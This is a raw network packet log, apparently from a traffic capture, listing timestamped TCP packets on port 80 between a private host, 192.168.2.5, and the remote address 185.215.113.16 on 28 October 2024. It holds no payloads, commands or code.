Oct 28, 2024 20:50:26.227792978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227801085 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227828026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227859974 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227873087 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227895975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227926970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227933884 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.227962971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.227993965 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228008032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228058100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228089094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228132010 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228132010 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228137016 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228172064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228219986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228224039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228254080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228285074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228301048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228319883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228353024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228384972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228416920 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228451014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228482962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228502989 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228518009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228550911 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228569031 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.228584051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.228662014 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230441093 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230474949 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230531931 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230536938 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230580091 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230628967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230643034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230659008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230673075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230679035 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230690002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230705976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230707884 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230721951 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230736971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230756998 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230761051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230773926 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230781078 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230792046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230807066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230809927 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230834961 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.230844021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230859041 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230875015 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.230895996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.270020962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.270039082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.270056009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.270073891 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.270092010 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.270129919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.340444088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.340502977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.340523958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.340596914 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.340615988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.340641022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.340722084 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.341546059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341598034 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.341602087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341636896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341686010 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.341689110 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341722012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341770887 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.341779947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341814995 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.341861010 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342194080 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342246056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342281103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342315912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342334986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342350960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342360973 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342402935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342437029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342468977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342489004 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342511892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342523098 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342547894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342581987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342603922 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342617035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342649937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342660904 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342684984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342720032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342731953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342749119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342782021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342791080 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.342817068 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342854977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.342869043 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.343662024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343713999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343746901 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343777895 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.343801975 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.343807936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343862057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343893051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343941927 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343943119 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.343976021 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.343986034 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344029903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344063044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344073057 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344115019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344163895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344188929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344212055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344249010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344280005 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344302893 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344336987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344377995 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344386101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344419956 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344454050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344465971 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344485998 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344537973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344553947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344584942 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344592094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344628096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344669104 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344680071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344731092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344763041 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344801903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344832897 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344849110 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344867945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344899893 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344923973 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.344933033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344963074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344995022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.344996929 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345030069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345062017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345081091 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345096111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345108986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345164061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345196962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345213890 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345232964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345267057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345293999 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345314980 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345330000 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345345020 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345366001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345398903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345419884 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345434904 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345468044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345494032 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345501900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345530987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345561981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345576048 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345596075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345602989 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345628977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345664024 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345695019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345710993 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345726967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345740080 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345760107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345793962 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345827103 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345834970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345868111 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345875978 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.345901012 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345935106 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.345959902 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.392678022 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:26.615534067 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:26.616811991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.216151953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.549773932 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.549849033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.556780100 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556806087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556822062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556837082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556853056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556868076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556874990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.556874990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.556888103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556962013 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556977034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.556979895 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.556993961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557008028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557023048 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557039022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557044029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557044029 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557065010 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557080030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557096004 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557106972 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557111979 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557127953 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557141066 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557141066 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557141066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557157993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557172060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557188034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557193041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557193041 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557204008 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557226896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557241917 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557256937 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557260036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557275057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557297945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557311058 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557313919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557313919 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557327032 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557342052 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557356119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557363033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557363033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557374954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557390928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557404995 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557425976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557425976 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557430029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557445049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557460070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557473898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557491064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557492018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557492018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557507038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557562113 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557651043 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557677984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557702065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557715893 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557730913 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557748079 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557749033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557749033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557764053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557779074 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557792902 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557801962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557801962 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557811022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557826042 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557852030 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557866096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557866096 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557866096 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557885885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557900906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557914972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557931900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557934999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557934999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.557950020 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557966948 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557981014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.557985067 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558007002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558022976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558038950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558043003 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558043003 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558053970 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558068991 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558069944 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558089018 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558104038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558120966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558135033 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558135986 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558150053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558172941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558180094 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558180094 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558188915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558204889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558218956 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558233976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558249950 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558259964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558259964 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558264971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558290958 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558305025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558306932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558306932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558321953 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558336020 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558351040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558366060 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558379889 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558382988 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558382988 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558397055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558419943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558434963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558449984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.558456898 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.558456898 CET	52257	80	192.168.2.5	185.215.113.16
